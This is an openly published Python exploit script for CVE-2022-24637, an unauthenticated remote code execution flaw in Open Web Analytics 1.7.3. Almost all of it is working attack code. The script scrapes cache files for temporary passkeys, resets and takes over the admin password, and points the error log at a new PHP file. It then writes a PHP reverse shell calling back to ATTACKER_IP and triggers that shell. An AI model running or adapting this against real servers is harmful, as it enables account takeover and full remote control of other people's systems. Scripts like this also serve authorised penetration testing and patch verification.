Open Web Analytics 1.7.3 Exploit, Remote Code Execution (RCE)

# Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)
# Date: 2022-08-30
# Exploit Author: Jacob Ebben
# Vendor Homepage: https://www.openwebanalytics.com/
# Software Link: https://github.com/Open-Web-Analytics
# Version: <1.7.4
# Tested on: Linux
# CVE : CVE-2022-24637

import argparse
import requests
import base64
import re
import random
import string
import hashlib
from termcolor import colored

def print_message(message, type):
   if type == 'SUCCESS':
      print('[' + colored('SUCCESS', 'green') +  '] ' + message)
   elif type == 'INFO':
      print('[' + colored('INFO', 'blue') +  '] ' + message)
   elif type == 'WARNING':
      print('[' + colored('WARNING', 'yellow') +  '] ' + message)
   elif type == 'ALERT':
      print('[' + colored('ALERT', 'yellow') +  '] ' + message)
   elif type == 'ERROR':
      print('[' + colored('ERROR', 'red') +  '] ' + message)

def get_normalized_url(url):
   if url[-1] != '/':
      url += '/'
   if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
      url = "http://" + url
   return url

def get_proxy_protocol(url):
   if url[0:8].lower() == 'https://':
      return 'https'
   return 'http'

def get_random_string(length):
   chars = string.ascii_letters + string.digits
   return ''.join(random.choice(chars) for i in range(length))

def get_cache_content(cache_raw):
   regex_cache_base64 = r'\*(\w*)\*'
   regex_result = re.search(regex_cache_base64, cache_raw)
   if not regex_result:
      print_message('The provided URL does not appear to be vulnerable ...', "ERROR")
      exit()
   else:
      cache_base64 = regex_result.group(1)
   return base64.b64decode(cache_base64).decode("ascii")

def get_cache_username(cache):
   regex_cache_username = r'"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"'
   return re.search(regex_cache_username, cache).group(1)

def get_cache_temppass(cache):
   regex_cache_temppass = r'"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"'
   return re.search(regex_cache_temppass, cache).group(1)

def get_update_nonce(url):
   try:
      update_nonce_request = session.get(url, proxies=proxies)
      regex_update_nonce = r'owa_nonce" value="(\w*)"'
      update_nonce = re.search(regex_update_nonce, update_nonce_request.text).group(1)
   except Exception as e:
      print_message('An error occurred when attempting to update config!', "ERROR")
      print(e)
      exit()
   else:
      return update_nonce

parser = argparse.ArgumentParser(description='Exploit for CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)')
parser.add_argument('TARGET', type=str,
                  help='Target URL (Example: http://localhost/owa/ or https://victim.xyz:8000/)')
parser.add_argument('ATTACKER_IP', type=str,
                  help='Address for reverse shell listener on attacking machine')
parser.add_argument('ATTACKER_PORT', type=str,
                  help='Port for reverse shell listener on attacking machine')
parser.add_argument('-u', '--username', default="admin", type=str,
                  help='The username to exploit (Default: admin)')
parser.add_argument('-p','--password', default=get_random_string(32), type=str,
                  help='The new password for the exploited user')
parser.add_argument('-P','--proxy', type=str,
                  help='HTTP proxy address (Example: http://127.0.0.1:8080/)')
parser.add_argument('-c', '--check', action='store_true',
                  help='Check vulnerability without exploitation')

args = parser.parse_args()

base_url = get_normalized_url(args.TARGET)
login_url = base_url + "index.php?owa_do=base.loginForm"
password_reset_url = base_url + "index.php?owa_do=base.usersPasswordEntry"
update_config_url = base_url + "index.php?owa_do=base.optionsGeneral"

username = args.username
new_password = args.password

reverse_shell = '<?php $sock=fsockopen("' + args.ATTACKER_IP + '",'+ args.ATTACKER_PORT + ');$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'
shell_filename = get_random_string(8) + '.php'
shell_url = base_url + 'owa-data/caches/' + shell_filename

if args.proxy:
   proxy_url = get_normalized_url(args.proxy)
   proxy_protocol = get_proxy_protocol(proxy_url)
   proxies = { proxy_protocol: proxy_url }
else:
   proxies = {}

session = requests.Session()

try:
   mainpage_request = session.get(base_url, proxies=proxies)
except Exception as e:
   print_message('Could not connect to "' + base_url, "ERROR")
   exit()
else:
   print_message('Connected to "' + base_url + '" successfully!', "SUCCESS")

if 'Open Web Analytics' not in mainpage_request.text:
   print_message('Could not confirm whether this website is hosting OWA! Continuing exploitation...', "WARNING")
elif 'version=1.7.3' not in mainpage_request.text:
   print_message('Could not confirm whether this OWA instance is vulnerable! Continuing exploitation...', "WARNING")
else:
   print_message('The webserver indicates a vulnerable version!', "ALERT")

try:
   data = {
      "owa_user_id": username,
      "owa_password": username,
      "owa_action": "base.login"
   }
   session.post(login_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred during the login attempt!', "ERROR")
   print(e)
   exit()
else:
   print_message('Attempting to generate cache for "' + username + '" user', "INFO")

print_message('Attempting to find cache of "' + username + '" user', "INFO")

found = False

for key in range(100):
   user_id = 'user_id' + str(key)
   userid_hash = hashlib.md5(user_id.encode()).hexdigest()
   filename = userid_hash + '.php'
   cache_url = base_url + "owa-data/caches/" + str(key) + "/owa_user/" + filename
   cache_request = requests.get(cache_url, proxies=proxies)
   if cache_request.status_code != 200:
      continue;
   cache_raw = cache_request.text
   cache = get_cache_content(cache_raw)
   cache_username = get_cache_username(cache)
   if cache_username != username:
      print_message('The temporary password for a different user was found. "' + cache_username + '": ' + get_cache_temppass(cache), "INFO")
      continue;
   else:
      found = True
      break
if not found:
   print_message('No cache found. Are you sure "' + username + '" is a valid user?', "ERROR")
   exit()

cache_temppass = get_cache_temppass(cache)
print_message('Found temporary password for user "' + username + '": ' + cache_temppass, "INFO")

if args.check:
   print_message('The system appears to be vulnerable!', "ALERT")
   exit()

try:
   data = {
      "owa_password": new_password,
      "owa_password2": new_password,
      "owa_k": cache_temppass,
      "owa_action":
      "base.usersChangePassword"
   }
   session.post(password_reset_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred when changing the user password!', "ERROR")
   print(e)
   exit()
else:
   print_message('Changed the password of "' + username + '" to "' + new_password + '"', "INFO")

try:
   data = {
      "owa_user_id": username,
      "owa_password": new_password,
      "owa_action": "base.login"
   }
   session.post(login_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred during the login attempt!', "ERROR")
   print(e)
   exit()
else:
   print_message('Logged in as "' + username + '" user', "SUCCESS")

nonce = get_update_nonce(update_config_url)

try:
   log_location = "/var/www/html/owa/owa-data/caches/" + shell_filename
   data = {
      "owa_nonce": nonce,
      "owa_action": "base.optionsUpdate",
      "owa_config[base.error_log_file]": log_location,
      "owa_config[base.error_log_level]": 2
   }
   session.post(update_config_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred when attempting to update config!', "ERROR")
   print(e)
   exit()
else:
   print_message('Creating log file', "INFO")

nonce = get_update_nonce(update_config_url)

try:
   data = {
      "owa_nonce": nonce,
      "owa_action": "base.optionsUpdate",
      "owa_config[shell]": reverse_shell
   }
   session.post(update_config_url, data=data, proxies=proxies)
except Exception as e:
   print_message('An error occurred when attempting to update config!', "ERROR")
   print(e)
   exit()
else:
   print_message('Wrote payload to log file', "INFO")

try:
   session.get(shell_url, proxies=proxies)
except Exception as e:
   print(e)
else:
   print_message('Triggering payload! Check your listener!', "SUCCESS")
   print_message('You can trigger the payload again at "' + shell_url + '"' , "INFO")

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